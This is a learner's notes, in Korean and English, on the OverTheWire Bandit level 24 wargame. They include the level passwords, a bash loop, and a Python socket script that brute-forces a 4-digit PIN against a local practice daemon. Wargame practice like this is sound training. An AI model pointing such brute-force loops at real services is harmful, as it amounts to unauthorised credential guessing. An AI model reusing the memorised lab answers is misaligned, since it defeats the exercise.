ssh bandit24@bandit.labs.overthewire.org -p 2220
#VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time이전암호 + 0000~9999 의 모든 조합을 30002번포트에 보내라 맞으면 비번을 준다
2가지 방법이 있다
나는 실패했는데 인터넷에선 이렇게 했다고 한다
#!/bin/bash
for i in {0000..9999}
do
echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i >> possibilities.txt
done
cat possibilities.txt | nc localhost 30002 > result.txt
cat result.txt grep -v 'Wrong!'
내가 하면 한 1000개하면 출력이 멈춰서 더이상 진행되지 않는다 왜인지 모르겠다
#!/usr/bin/env python3
# coding: utf-8
import socket
def find_pass(password, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", port))
msg = s.recv(2048).decode() # 처음나오는 메세지
print(msg)
for i in range(10000): # 브루트포스시작
pincode = " " + str(i).zfill(4) + "\n"
answer = password + pincode # 보낼메세지
s.sendall(answer.encode())
res = s.recv(1024).decode() #받을메서지
if res[0] == "W":
print(pincode, "is wrong")
else:
print(pincode)
print(res)
exit()
if __name__ == "__main__":
password = "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"
port = 30002
find_pass(password, port)
핀코드는 할때마다 랜덤으로 바뀐다
시간이 상당히 오래 걸린다
비밀번호 = p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d